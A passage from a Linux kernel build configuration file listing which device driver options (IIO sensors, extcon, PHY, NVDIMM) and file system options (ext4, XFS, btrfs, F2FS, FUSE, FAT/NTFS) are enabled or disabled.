# end of PM Domains

# CONFIG_PM_DEVFREQ is not set
CONFIG_EXTCON=y

#
# Extcon Device Drivers
#
# CONFIG_EXTCON_ADC_JACK is not set
# CONFIG_EXTCON_FSA9480 is not set
# CONFIG_EXTCON_GPIO is not set
# CONFIG_EXTCON_INTEL_INT3496 is not set
CONFIG_EXTCON_INTEL_CHT_WC=y
# CONFIG_EXTCON_LC824206XA is not set
# CONFIG_EXTCON_MAX3355 is not set
# CONFIG_EXTCON_MAX14526 is not set
CONFIG_EXTCON_PTN5150=y
# CONFIG_EXTCON_RT8973A is not set
# CONFIG_EXTCON_SM5502 is not set
# CONFIG_EXTCON_USB_GPIO is not set
CONFIG_EXTCON_USBC_TUSB320=y
# CONFIG_MEMORY is not set
CONFIG_IIO=y
CONFIG_IIO_BUFFER=y
# CONFIG_IIO_BUFFER_CB is not set
# CONFIG_IIO_BUFFER_DMA is not set
# CONFIG_IIO_BUFFER_DMAENGINE is not set
# CONFIG_IIO_BUFFER_HW_CONSUMER is not set
CONFIG_IIO_KFIFO_BUF=y
CONFIG_IIO_TRIGGERED_BUFFER=y
# CONFIG_IIO_CONFIGFS is not set
CONFIG_IIO_TRIGGER=y
CONFIG_IIO_CONSUMERS_PER_TRIGGER=2
# CONFIG_IIO_SW_DEVICE is not set
# CONFIG_IIO_SW_TRIGGER is not set
# CONFIG_IIO_TRIGGERED_EVENT is not set

#
# Accelerometers
#
# CONFIG_ADIS16201 is not set
# CONFIG_ADIS16209 is not set
# CONFIG_ADXL313_I2C is not set
# CONFIG_ADXL313_SPI is not set
# CONFIG_ADXL345_I2C is not set
# CONFIG_ADXL345_SPI is not set
# CONFIG_ADXL355_I2C is not set
# CONFIG_ADXL355_SPI is not set
# CONFIG_ADXL367_SPI is not set
# CONFIG_ADXL367_I2C is not set
# CONFIG_ADXL372_SPI is not set
# CONFIG_ADXL372_I2C is not set
# CONFIG_ADXL380_SPI is not set
# CONFIG_ADXL380_I2C is not set
# CONFIG_BMA180 is not set
# CONFIG_BMA220 is not set
# CONFIG_BMA400 is not set
# CONFIG_BMC150_ACCEL is not set
# CONFIG_BMI088_ACCEL is not set
# CONFIG_DA280 is not set
# CONFIG_DA311 is not set
# CONFIG_DMARD06 is not set
# CONFIG_DMARD09 is not set
# CONFIG_DMARD10 is not set
# CONFIG_FXLS8962AF_I2C is not set
# CONFIG_FXLS8962AF_SPI is not set
CONFIG_HID_SENSOR_ACCEL_3D=y
# CONFIG_IIO_ST_ACCEL_3AXIS is not set
# CONFIG_IIO_KX022A_SPI is not set
# CONFIG_IIO_KX022A_I2C is not set
# CONFIG_KXSD9 is not set
# CONFIG_KXCJK1013 is not set
# CONFIG_MC3230 is not set
# CONFIG_MMA7455_I2C is not set
# CONFIG_MMA7455_SPI is not set
# CONFIG_MMA7660 is not set
# CONFIG_MMA8452 is not set
# CONFIG_MMA9551 is not set
# CONFIG_MMA9553 is not set
# CONFIG_MSA311 is not set
# CONFIG_MXC4005 is not set
# CONFIG_MXC6255 is not set
# CONFIG_SCA3000 is not set
# CONFIG_SCA3300 is not set
# CONFIG_STK8312 is not set
# CONFIG_STK8BA50 is not set
# end of Accelerometers

#
# Analog to digital converters
#
# CONFIG_AD4000 is not set
# CONFIG_AD4080 is not set
# CONFIG_AD4130 is not set
# CONFIG_AD4134 is not set
# CONFIG_AD4170_4 is not set
# CONFIG_AD4691 is not set
# CONFIG_AD4695 is not set
# CONFIG_AD7091R5 is not set
# CONFIG_AD7091R8 is not set
# CONFIG_AD7124 is not set
# CONFIG_AD7173 is not set
# CONFIG_AD7191 is not set
# CONFIG_AD7192 is not set
# CONFIG_AD7266 is not set
# CONFIG_AD7280 is not set
# CONFIG_AD7291 is not set
# CONFIG_AD7292 is not set
# CONFIG_AD7298 is not set
# CONFIG_AD7380 is not set
# CONFIG_AD7476 is not set
# CONFIG_AD7606_IFACE_PARALLEL is not set
# CONFIG_AD7606_IFACE_SPI is not set
# CONFIG_AD7766 is not set
# CONFIG_AD7768_1 is not set
# CONFIG_AD7779 is not set
# CONFIG_AD7780 is not set
# CONFIG_AD7791 is not set
# CONFIG_AD7793 is not set
# CONFIG_AD7887 is not set
# CONFIG_AD7923 is not set
# CONFIG_AD7944 is not set
# CONFIG_AD7949 is not set
# CONFIG_AD799X is not set
# CONFIG_AD9467 is not set
# CONFIG_ADE9000 is not set
# CONFIG_CC10001_ADC is not set
CONFIG_DLN2_ADC=y
# CONFIG_ENVELOPE_DETECTOR is not set
# CONFIG_GEHC_PMC_ADC is not set
# CONFIG_HI8435 is not set
# CONFIG_HX711 is not set
# CONFIG_INA2XX_ADC is not set
# CONFIG_LTC2309 is not set
# CONFIG_LTC2471 is not set
# CONFIG_LTC2485 is not set
# CONFIG_LTC2496 is not set
# CONFIG_LTC2497 is not set
# CONFIG_MAX1027 is not set
# CONFIG_MAX11100 is not set
# CONFIG_MAX1118 is not set
# CONFIG_MAX11205 is not set
# CONFIG_MAX11410 is not set
# CONFIG_MAX1241 is not set
# CONFIG_MAX1363 is not set
# CONFIG_MAX14001 is not set
# CONFIG_MAX34408 is not set
# CONFIG_MAX9611 is not set
# CONFIG_MCP320X is not set
# CONFIG_MCP3422 is not set
# CONFIG_MCP3564 is not set
# CONFIG_MCP3911 is not set
# CONFIG_MEDIATEK_MT6360_ADC is not set
# CONFIG_MEDIATEK_MT6370_ADC is not set
# CONFIG_NAU7802 is not set
# CONFIG_NCT7201 is not set
# CONFIG_PAC1921 is not set
# CONFIG_PAC1934 is not set
# CONFIG_ROHM_BD79112 is not set
# CONFIG_ROHM_BD79124 is not set
# CONFIG_RICHTEK_RTQ6056 is not set
# CONFIG_SD_ADC_MODULATOR is not set
# CONFIG_TI_ADC081C is not set
# CONFIG_TI_ADC0832 is not set
# CONFIG_TI_ADC084S021 is not set
# CONFIG_TI_ADC108S102 is not set
# CONFIG_TI_ADC12138 is not set
# CONFIG_TI_ADC128S052 is not set
# CONFIG_TI_ADC161S626 is not set
# CONFIG_TI_ADS1015 is not set
# CONFIG_TI_ADS1018 is not set
# CONFIG_TI_ADS1100 is not set
# CONFIG_TI_ADS1119 is not set
# CONFIG_TI_ADS124S08 is not set
# CONFIG_TI_ADS1298 is not set
# CONFIG_TI_ADS131E08 is not set
# CONFIG_TI_ADS131M02 is not set
# CONFIG_TI_ADS7138 is not set
# CONFIG_TI_ADS7924 is not set
# CONFIG_TI_ADS7950 is not set
# CONFIG_TI_ADS8344 is not set
# CONFIG_TI_ADS8688 is not set
# CONFIG_TI_LMP92064 is not set
# CONFIG_TI_TLC4541 is not set
# CONFIG_TI_TSC2046 is not set
# CONFIG_TWL4030_MADC is not set
# CONFIG_TWL6030_GPADC is not set
# CONFIG_VF610_ADC is not set
CONFIG_VIPERBOARD_ADC=y
# CONFIG_XILINX_XADC is not set
# end of Analog to digital converters

#
# Analog to digital and digital to analog converters
#
# CONFIG_AD74115 is not set
# CONFIG_AD74413R is not set
# end of Analog to digital and digital to analog converters

#
# Analog Front Ends
#
# CONFIG_IIO_RESCALE is not set
# end of Analog Front Ends

#
# Amplifiers
#
# CONFIG_AD8366 is not set
# CONFIG_ADA4250 is not set
# CONFIG_ADL8113 is not set
# CONFIG_HMC425 is not set
# end of Amplifiers

#
# Capacitance to digital converters
#
# CONFIG_AD7150 is not set
# CONFIG_AD7746 is not set
# end of Capacitance to digital converters

#
# Chemical Sensors
#
# CONFIG_AOSONG_AGS02MA is not set
# CONFIG_ATLAS_PH_SENSOR is not set
# CONFIG_ATLAS_EZO_SENSOR is not set
# CONFIG_BME680 is not set
# CONFIG_CCS811 is not set
# CONFIG_ENS160 is not set
# CONFIG_IAQCORE is not set
# CONFIG_MHZ19B is not set
# CONFIG_PMS7003 is not set
# CONFIG_SCD30_CORE is not set
# CONFIG_SCD4X is not set
# CONFIG_SEN0322 is not set
# CONFIG_SENSIRION_SGP30 is not set
# CONFIG_SENSIRION_SGP40 is not set
# CONFIG_SPS30_I2C is not set
# CONFIG_SPS30_SERIAL is not set
# CONFIG_SENSEAIR_SUNRISE_CO2 is not set
# CONFIG_VZ89X is not set
# end of Chemical Sensors

#
# Hid Sensor IIO Common
#
CONFIG_HID_SENSOR_IIO_COMMON=y
CONFIG_HID_SENSOR_IIO_TRIGGER=y
# end of Hid Sensor IIO Common

#
# IIO SCMI Sensors
#
# end of IIO SCMI Sensors

#
# SSP Sensor Common
#
# CONFIG_IIO_SSP_SENSORHUB is not set
# end of SSP Sensor Common

#
# Digital to analog converters
#
# CONFIG_AD3530R is not set
# CONFIG_AD3552R_HS is not set
# CONFIG_AD3552R is not set
# CONFIG_AD5064 is not set
# CONFIG_AD5360 is not set
# CONFIG_AD5380 is not set
# CONFIG_AD5421 is not set
# CONFIG_AD5446_SPI is not set
# CONFIG_AD5446_I2C is not set
# CONFIG_AD5449 is not set
# CONFIG_AD5592R is not set
# CONFIG_AD5593R is not set
# CONFIG_AD5504 is not set
# CONFIG_AD5624R_SPI is not set
# CONFIG_AD5706R is not set
# CONFIG_AD9739A is not set
# CONFIG_LTC2688 is not set
# CONFIG_AD5686_SPI is not set
# CONFIG_AD5696_I2C is not set
# CONFIG_AD5755 is not set
# CONFIG_AD5758 is not set
# CONFIG_AD5761 is not set
# CONFIG_AD5764 is not set
# CONFIG_AD5766 is not set
# CONFIG_AD5770R is not set
# CONFIG_AD5791 is not set
# CONFIG_AD7293 is not set
# CONFIG_AD7303 is not set
# CONFIG_AD8460 is not set
# CONFIG_AD8801 is not set
# CONFIG_BD79703 is not set
# CONFIG_CIO_DAC is not set
# CONFIG_DPOT_DAC is not set
# CONFIG_DS4424 is not set
# CONFIG_LTC1660 is not set
# CONFIG_LTC2632 is not set
# CONFIG_LTC2664 is not set
# CONFIG_M62332 is not set
# CONFIG_MAX517 is not set
# CONFIG_MAX22007 is not set
# CONFIG_MAX5522 is not set
# CONFIG_MAX5821 is not set
# CONFIG_MCP4725 is not set
# CONFIG_MCP4728 is not set
# CONFIG_MCP47FEB02 is not set
# CONFIG_MCP4821 is not set
# CONFIG_MCP4922 is not set
# CONFIG_TI_DAC082S085 is not set
# CONFIG_TI_DAC5571 is not set
# CONFIG_TI_DAC7311 is not set
# CONFIG_TI_DAC7612 is not set
# CONFIG_VF610_DAC is not set
# end of Digital to analog converters

#
# IIO dummy driver
#
# end of IIO dummy driver

#
# Filters
#
# CONFIG_ADMV8818 is not set
# end of Filters

#
# Frequency Synthesizers DDS/PLL
#

#
# Clock Generator/Distribution
#
# CONFIG_AD9523 is not set
# end of Clock Generator/Distribution

#
# Phase-Locked Loop (PLL) frequency synthesizers
#
# CONFIG_ADF4350 is not set
# CONFIG_ADF4371 is not set
# CONFIG_ADF4377 is not set
# CONFIG_ADMFM2000 is not set
# CONFIG_ADMV1013 is not set
# CONFIG_ADMV1014 is not set
# CONFIG_ADMV4420 is not set
# CONFIG_ADRF6780 is not set
# end of Phase-Locked Loop (PLL) frequency synthesizers
# end of Frequency Synthesizers DDS/PLL

#
# Digital gyroscope sensors
#
# CONFIG_ADIS16080 is not set
# CONFIG_ADIS16130 is not set
# CONFIG_ADIS16136 is not set
# CONFIG_ADIS16260 is not set
# CONFIG_ADXRS290 is not set
# CONFIG_ADXRS450 is not set
# CONFIG_BMG160 is not set
# CONFIG_FXAS21002C is not set
CONFIG_HID_SENSOR_GYRO_3D=y
# CONFIG_MPU3050_I2C is not set
# CONFIG_IIO_ST_GYRO_3AXIS is not set
# CONFIG_ITG3200 is not set
# end of Digital gyroscope sensors

#
# Health Sensors
#

#
# Heart Rate Monitors
#
# CONFIG_AFE4403 is not set
# CONFIG_AFE4404 is not set
# CONFIG_MAX30100 is not set
# CONFIG_MAX30102 is not set
# end of Heart Rate Monitors
# end of Health Sensors

#
# Humidity sensors
#
# CONFIG_AM2315 is not set
# CONFIG_DHT11 is not set
# CONFIG_ENS210 is not set
# CONFIG_HDC100X is not set
# CONFIG_HDC2010 is not set
# CONFIG_HDC3020 is not set
CONFIG_HID_SENSOR_HUMIDITY=y
# CONFIG_HTS221 is not set
# CONFIG_HTU21 is not set
# CONFIG_SI7005 is not set
# CONFIG_SI7020 is not set
# end of Humidity sensors

#
# Inertial measurement units
#
# CONFIG_ADIS16400 is not set
# CONFIG_ADIS16460 is not set
# CONFIG_ADIS16475 is not set
# CONFIG_ADIS16480 is not set
# CONFIG_ADIS16550 is not set
# CONFIG_BMI160_I2C is not set
# CONFIG_BMI160_SPI is not set
# CONFIG_BMI270_I2C is not set
# CONFIG_BMI270_SPI is not set
# CONFIG_BMI323_I2C is not set
# CONFIG_BMI323_SPI is not set
# CONFIG_BOSCH_BNO055_SERIAL is not set
# CONFIG_BOSCH_BNO055_I2C is not set
# CONFIG_FXOS8700_I2C is not set
# CONFIG_FXOS8700_SPI is not set
# CONFIG_KMX61 is not set
# CONFIG_INV_ICM42600_I2C is not set
# CONFIG_INV_ICM42600_SPI is not set
# CONFIG_INV_ICM45600_I2C is not set
# CONFIG_INV_ICM45600_SPI is not set
# CONFIG_INV_MPU6050_I2C is not set
# CONFIG_INV_MPU6050_SPI is not set
# CONFIG_SMI240 is not set
# CONFIG_SMI330_I2C is not set
# CONFIG_SMI330_SPI is not set
# CONFIG_IIO_ST_LSM6DSX is not set
# CONFIG_IIO_ST_LSM9DS0 is not set
# end of Inertial measurement units

#
# Light sensors
#
# CONFIG_ACPI_ALS is not set
# CONFIG_ADJD_S311 is not set
# CONFIG_ADUX1020 is not set
# CONFIG_AL3000A is not set
# CONFIG_AL3010 is not set
# CONFIG_AL3320A is not set
# CONFIG_APDS9160 is not set
# CONFIG_APDS9300 is not set
# CONFIG_APDS9306 is not set
# CONFIG_APDS9960 is not set
# CONFIG_APDS9999 is not set
# CONFIG_AS73211 is not set
# CONFIG_BH1745 is not set
# CONFIG_BH1750 is not set
# CONFIG_BH1780 is not set
# CONFIG_CM32181 is not set
# CONFIG_CM3232 is not set
# CONFIG_CM3323 is not set
# CONFIG_CM3605 is not set
# CONFIG_CM36651 is not set
# CONFIG_GP2AP002 is not set
# CONFIG_GP2AP020A00F is not set
# CONFIG_SENSORS_ISL29018 is not set
# CONFIG_SENSORS_ISL29028 is not set
# CONFIG_ISL29125 is not set
# CONFIG_ISL76682 is not set
CONFIG_HID_SENSOR_ALS=y
CONFIG_HID_SENSOR_PROX=y
# CONFIG_JSA1212 is not set
# CONFIG_ROHM_BU27034 is not set
# CONFIG_RPR0521 is not set
# CONFIG_LTR390 is not set
# CONFIG_LTR501 is not set
# CONFIG_LTRF216A is not set
# CONFIG_LV0104CS is not set
# CONFIG_MAX44000 is not set
# CONFIG_MAX44009 is not set
# CONFIG_NOA1305 is not set
# CONFIG_OPT3001 is not set
# CONFIG_OPT4001 is not set
# CONFIG_OPT4060 is not set
# CONFIG_PA12203001 is not set
# CONFIG_SI1133 is not set
# CONFIG_SI1145 is not set
# CONFIG_STK3310 is not set
# CONFIG_ST_UVIS25 is not set
# CONFIG_TCS3414 is not set
# CONFIG_TCS3472 is not set
# CONFIG_SENSORS_TSL2563 is not set
# CONFIG_TSL2583 is not set
# CONFIG_TSL2591 is not set
# CONFIG_TSL2772 is not set
# CONFIG_TSL4531 is not set
# CONFIG_US5182D is not set
# CONFIG_VCNL4000 is not set
# CONFIG_VCNL4035 is not set
# CONFIG_VEML3235 is not set
# CONFIG_VEML3328 is not set
# CONFIG_VEML6030 is not set
# CONFIG_VEML6040 is not set
# CONFIG_VEML6046X00 is not set
# CONFIG_VEML6070 is not set
# CONFIG_VEML6075 is not set
# CONFIG_VL6180 is not set
# CONFIG_ZOPT2201 is not set
# end of Light sensors

#
# Magnetometer sensors
#
# CONFIG_AF8133J is not set
# CONFIG_AK8974 is not set
# CONFIG_AK8975 is not set
# CONFIG_AK09911 is not set
# CONFIG_ALS31300 is not set
# CONFIG_BMC150_MAGN_I2C is not set
# CONFIG_BMC150_MAGN_SPI is not set
# CONFIG_MAG3110 is not set
CONFIG_HID_SENSOR_MAGNETOMETER_3D=y
# CONFIG_MMC35240 is not set
# CONFIG_MMC5633 is not set
# CONFIG_MMC5983 is not set
# CONFIG_IIO_ST_MAGN_3AXIS is not set
# CONFIG_INFINEON_TLV493D is not set
# CONFIG_SENSORS_HMC5843_I2C is not set
# CONFIG_SENSORS_HMC5843_SPI is not set
# CONFIG_SENSORS_RM3100_I2C is not set
# CONFIG_SENSORS_RM3100_SPI is not set
# CONFIG_SI7210 is not set
# CONFIG_TI_TMAG5273 is not set
# CONFIG_YAMAHA_YAS530 is not set
# end of Magnetometer sensors

#
# Multiplexers
#
# CONFIG_IIO_MUX is not set
# end of Multiplexers

#
# Inclinometer sensors
#
CONFIG_HID_SENSOR_INCLINOMETER_3D=y
CONFIG_HID_SENSOR_DEVICE_ROTATION=y
# end of Inclinometer sensors

#
# Triggers - standalone
#
# CONFIG_IIO_SYSFS_TRIGGER is not set
# end of Triggers - standalone

#
# Linear and angular position sensors
#
CONFIG_HID_SENSOR_CUSTOM_INTEL_HINGE=y
# end of Linear and angular position sensors

#
# Digital potentiometers
#
# CONFIG_AD5110 is not set
# CONFIG_AD5272 is not set
# CONFIG_DS1803 is not set
# CONFIG_MAX5432 is not set
# CONFIG_MAX5481 is not set
# CONFIG_MAX5487 is not set
# CONFIG_MCP4018 is not set
# CONFIG_MCP4131 is not set
# CONFIG_MCP4531 is not set
# CONFIG_MCP41010 is not set
# CONFIG_TPL0102 is not set
# CONFIG_X9250 is not set
# end of Digital potentiometers

#
# Digital potentiostats
#
# CONFIG_LMP91000 is not set
# end of Digital potentiostats

#
# Pressure sensors
#
# CONFIG_ABP060MG is not set
# CONFIG_ABP2030PA_I2C is not set
# CONFIG_ABP2030PA_SPI is not set
# CONFIG_ROHM_BM1390 is not set
# CONFIG_BMP280 is not set
# CONFIG_DLHL60D is not set
# CONFIG_DPS310 is not set
CONFIG_HID_SENSOR_PRESS=y
# CONFIG_HP03 is not set
# CONFIG_HSC030PA is not set
# CONFIG_ICP10100 is not set
# CONFIG_MPL115_I2C is not set
# CONFIG_MPL115_SPI is not set
# CONFIG_MPL3115 is not set
# CONFIG_MPRLS0025PA_I2C is not set
# CONFIG_MPRLS0025PA_SPI is not set
# CONFIG_MS5611 is not set
# CONFIG_MS5637 is not set
# CONFIG_SDP500 is not set
# CONFIG_IIO_ST_PRESS is not set
# CONFIG_T5403 is not set
# CONFIG_HP206C is not set
# CONFIG_ZPA2326 is not set
# CONFIG_ADP810 is not set
# end of Pressure sensors

#
# Lightning sensors
#
# CONFIG_AS3935 is not set
# end of Lightning sensors

#
# Proximity and distance sensors
#
# CONFIG_D3323AA is not set
# CONFIG_HX9023S is not set
# CONFIG_IRSD200 is not set
# CONFIG_ISL29501 is not set
# CONFIG_LIDAR_LITE_V2 is not set
# CONFIG_MB1232 is not set
# CONFIG_PING is not set
# CONFIG_RFD77402 is not set
# CONFIG_SRF04 is not set
# CONFIG_SX9310 is not set
# CONFIG_SX9324 is not set
# CONFIG_SX9360 is not set
# CONFIG_SX9500 is not set
# CONFIG_SRF08 is not set
# CONFIG_VCNL3020 is not set
# CONFIG_VL53L0X_I2C is not set
# CONFIG_VL53L1X_I2C is not set
# CONFIG_AW96103 is not set
# end of Proximity and distance sensors

#
# Resolver to digital converters
#
# CONFIG_AD2S90 is not set
# CONFIG_AD2S1200 is not set
# CONFIG_AD2S1210 is not set
# end of Resolver to digital converters

#
# Temperature sensors
#
# CONFIG_LTC2983 is not set
# CONFIG_MAXIM_THERMOCOUPLE is not set
CONFIG_HID_SENSOR_TEMP=y
# CONFIG_MLX90614 is not set
# CONFIG_MLX90632 is not set
# CONFIG_MLX90635 is not set
# CONFIG_TMP006 is not set
# CONFIG_TMP007 is not set
# CONFIG_TMP117 is not set
# CONFIG_TSYS01 is not set
# CONFIG_TSYS02D is not set
# CONFIG_MAX30208 is not set
# CONFIG_MAX31856 is not set
# CONFIG_MAX31865 is not set
# CONFIG_MCP9600 is not set
# end of Temperature sensors

# CONFIG_NTB is not set
# CONFIG_PWM is not set

#
# IRQ chip support
#
CONFIG_IRQCHIP=y
CONFIG_IRQ_MSI_LIB=y
# CONFIG_AL_FIC is not set
# CONFIG_XILINX_INTC is not set
# end of IRQ chip support

# CONFIG_IPACK_BUS is not set
CONFIG_RESET_CONTROLLER=y
# CONFIG_RESET_GPIO is not set
# CONFIG_RESET_INTEL_GW is not set
# CONFIG_RESET_SIMPLE is not set
# CONFIG_RESET_TI_SYSCON is not set
# CONFIG_RESET_TI_TPS380X is not set

#
# PHY Subsystem
#
CONFIG_GENERIC_PHY=y
# CONFIG_PHY_CAN_TRANSCEIVER is not set
CONFIG_PHY_GOOGLE_USB=y
CONFIG_USB_LGM_PHY=y
# CONFIG_PHY_NXP_PTN3222 is not set
# CONFIG_PHY_NXP_TJA1145 is not set

#
# PHY drivers for Broadcom platforms
#
# CONFIG_BCM_KONA_USB2_PHY is not set
# end of PHY drivers for Broadcom platforms

# CONFIG_PHY_CADENCE_TORRENT is not set
# CONFIG_PHY_CADENCE_DPHY is not set
# CONFIG_PHY_CADENCE_DPHY_RX is not set
# CONFIG_PHY_CADENCE_SIERRA is not set
# CONFIG_PHY_CADENCE_SALVO is not set
# CONFIG_PHY_INTEL_LGM_COMBO is not set
# CONFIG_PHY_INTEL_LGM_EMMC is not set
# CONFIG_PHY_PXA_28NM_HSIC is not set
# CONFIG_PHY_PXA_28NM_USB2 is not set
CONFIG_PHY_CPCAP_USB=y
# CONFIG_PHY_MAPPHONE_MDM6600 is not set
# CONFIG_PHY_OCELOT_SERDES is not set
CONFIG_PHY_QCOM_USB_HS=y
CONFIG_PHY_QCOM_USB_HSIC=y
CONFIG_PHY_SAMSUNG_USB2=y
# CONFIG_PHY_TI_DS125DF111 is not set
CONFIG_PHY_TUSB1210=y
# end of PHY Subsystem

# CONFIG_POWERCAP is not set
# CONFIG_MCB is not set

#
# Performance monitor support
#
# CONFIG_DWC_PCIE_PMU is not set
# end of Performance monitor support

CONFIG_RAS=y
CONFIG_USB4=y
CONFIG_USB4_CONFIGFS=y
# CONFIG_USB4_DEBUGFS_WRITE is not set
# CONFIG_USB4_DMA_TEST is not set
# CONFIG_USB4_STREAM is not set

#
# Android
#
CONFIG_ANDROID_BINDER_IPC=y
CONFIG_ANDROID_BINDERFS=y
CONFIG_ANDROID_BINDER_DEVICES="binder0,binder1"
# end of Android

CONFIG_LIBNVDIMM=y
CONFIG_BLK_DEV_PMEM=y
CONFIG_ND_CLAIM=y
CONFIG_ND_BTT=y
CONFIG_BTT=y
CONFIG_ND_PFN=y
CONFIG_NVDIMM_PFN=y
CONFIG_NVDIMM_DAX=y
CONFIG_OF_PMEM=y
# CONFIG_RAMDAX is not set
CONFIG_NVDIMM_KEYS=y
# CONFIG_NVDIMM_SECURITY_TEST is not set
CONFIG_DAX=y
CONFIG_DEV_DAX=y
# CONFIG_DEV_DAX_PMEM is not set
CONFIG_DEV_DAX_FSDEV=y
# CONFIG_DEV_DAX_KMEM is not set
CONFIG_NVMEM=y
CONFIG_NVMEM_SYSFS=y
CONFIG_NVMEM_LAYOUTS=y

#
# Layout Types
#
# CONFIG_NVMEM_LAYOUT_SL28_VPD is not set
# CONFIG_NVMEM_LAYOUT_ONIE_TLV is not set
# CONFIG_NVMEM_LAYOUT_U_BOOT_ENV is not set
# end of Layout Types

# CONFIG_NVMEM_RMEM is not set
# CONFIG_NVMEM_U_BOOT_ENV is not set

#
# HW tracing support
#
# CONFIG_STM is not set
# CONFIG_INTEL_TH is not set
# end of HW tracing support

# CONFIG_FPGA is not set
# CONFIG_FSI is not set
CONFIG_TEE=y
CONFIG_TEE_DMABUF_HEAPS=y
CONFIG_OPTEE_STATIC_PROTMEM_POOL=y
# CONFIG_MUX_CORE is not set
# CONFIG_SIOX is not set
# CONFIG_SLIMBUS is not set
# CONFIG_INTERCONNECT is not set
CONFIG_COUNTER=y
# CONFIG_INTEL_QEP is not set
# CONFIG_INTERRUPT_CNT is not set
CONFIG_MOST=y
CONFIG_MOST_USB_HDM=y
# CONFIG_MOST_CDEV is not set
# CONFIG_MOST_SND is not set
# CONFIG_PECI is not set
# CONFIG_HTE is not set
# end of Device Drivers

#
# File systems
#
CONFIG_DCACHE_WORD_ACCESS=y
CONFIG_VALIDATE_FS_PARSER=y
CONFIG_FS_IOMAP=y
CONFIG_FS_STACK=y
CONFIG_BUFFER_HEAD=y
CONFIG_LEGACY_DIRECT_IO=y
# CONFIG_EXT2_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT2=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_JFS_FS=y
CONFIG_JFS_POSIX_ACL=y
CONFIG_JFS_SECURITY=y
CONFIG_JFS_DEBUG=y
# CONFIG_JFS_STATISTICS is not set
CONFIG_XFS_FS=y
# CONFIG_XFS_SUPPORT_V4 is not set
# CONFIG_XFS_SUPPORT_ASCII_CI is not set
CONFIG_XFS_QUOTA=y
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
CONFIG_XFS_DRAIN_INTENTS=y
CONFIG_XFS_LIVE_HOOKS=y
CONFIG_XFS_MEMORY_BUFS=y
CONFIG_XFS_BTREE_IN_MEM=y
CONFIG_XFS_ONLINE_SCRUB=y
# CONFIG_XFS_ONLINE_SCRUB_STATS is not set
CONFIG_XFS_ONLINE_REPAIR=y
# CONFIG_XFS_WARN is not set
# CONFIG_XFS_DEBUG is not set
CONFIG_GFS2_FS=y
CONFIG_GFS2_FS_LOCKING_DLM=y
CONFIG_OCFS2_FS=y
CONFIG_OCFS2_FS_O2CB=y
CONFIG_OCFS2_FS_USERSPACE_CLUSTER=y
CONFIG_OCFS2_FS_STATS=y
# CONFIG_OCFS2_DEBUG_MASKLOG is not set
CONFIG_OCFS2_DEBUG_FS=y
CONFIG_BTRFS_FS=y
CONFIG_BTRFS_FS_POSIX_ACL=y
# CONFIG_BTRFS_FS_RUN_SANITY_TESTS is not set
# CONFIG_BTRFS_DEBUG is not set
CONFIG_BTRFS_ASSERT=y
# CONFIG_BTRFS_EXPERIMENTAL is not set
CONFIG_NILFS2_FS=y
CONFIG_F2FS_FS=y
CONFIG_F2FS_STAT_FS=y
CONFIG_F2FS_FS_XATTR=y
CONFIG_F2FS_FS_POSIX_ACL=y
CONFIG_F2FS_FS_SECURITY=y
CONFIG_F2FS_CHECK_FS=y
CONFIG_F2FS_FAULT_INJECTION=y
CONFIG_F2FS_FS_COMPRESSION=y
CONFIG_F2FS_FS_LZO=y
CONFIG_F2FS_FS_LZORLE=y
CONFIG_F2FS_FS_LZ4=y
CONFIG_F2FS_FS_LZ4HC=y
CONFIG_F2FS_FS_ZSTD=y
# CONFIG_F2FS_IOSTAT is not set
# CONFIG_F2FS_UNFAIR_RWSEM is not set
CONFIG_ZONEFS_FS=y
CONFIG_FS_DAX=y
CONFIG_FS_DAX_PMD=y
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_EXPORTFS_BLOCK_OPS=y
CONFIG_FILE_LOCKING=y
CONFIG_FS_ENCRYPTION=y
CONFIG_FS_ENCRYPTION_ALGS=y
CONFIG_FS_ENCRYPTION_INLINE_CRYPT=y
CONFIG_FS_VERITY=y
CONFIG_FS_VERITY_BUILTIN_SIGNATURES=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
CONFIG_FANOTIFY_ACCESS_PERMISSIONS=y
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
# CONFIG_QUOTA_DEBUG is not set
CONFIG_QUOTA_TREE=y
# CONFIG_QFMT_V1 is not set
CONFIG_QFMT_V2=y
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=y
CONFIG_FUSE_FS=y
CONFIG_CUSE=y
CONFIG_VIRTIO_FS=y
CONFIG_FUSE_DAX=y
# CONFIG_FUSE_PASSTHROUGH is not set
CONFIG_FUSE_IO_URING=y
CONFIG_OVERLAY_FS=y
CONFIG_OVERLAY_FS_REDIRECT_DIR=y
CONFIG_OVERLAY_FS_REDIRECT_ALWAYS_FOLLOW=y
CONFIG_OVERLAY_FS_INDEX=y
# CONFIG_OVERLAY_FS_NFS_EXPORT is not set
# CONFIG_OVERLAY_FS_XINO_AUTO is not set
# CONFIG_OVERLAY_FS_METACOPY is not set
CONFIG_OVERLAY_FS_DEBUG=y

#
# Caches
#
CONFIG_NETFS_SUPPORT=y
# CONFIG_NETFS_STATS is not set
# CONFIG_NETFS_DEBUG is not set
CONFIG_FSCACHE=y
# CONFIG_FSCACHE_STATS is not set
CONFIG_CACHEFILES=y
# CONFIG_CACHEFILES_DEBUG is not set
# CONFIG_CACHEFILES_ERROR_INJECTION is not set
# end of Caches

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=y
# end of CD-ROM/DVD Filesystems

#
# DOS/FAT/EXFAT/NT Filesystems
#
CONFIG_FAT_FS=y
CONFIG_MSDOS_FS=y
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_FAT_DEFAULT_UTF8 is not set
CONFIG_EXFAT_FS=y
CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8"
# CONFIG_NTFS_FS is not set
CONFIG_NTFS3_FS=y
# CONFIG_NTFS3_64BIT_CLUSTER is not set
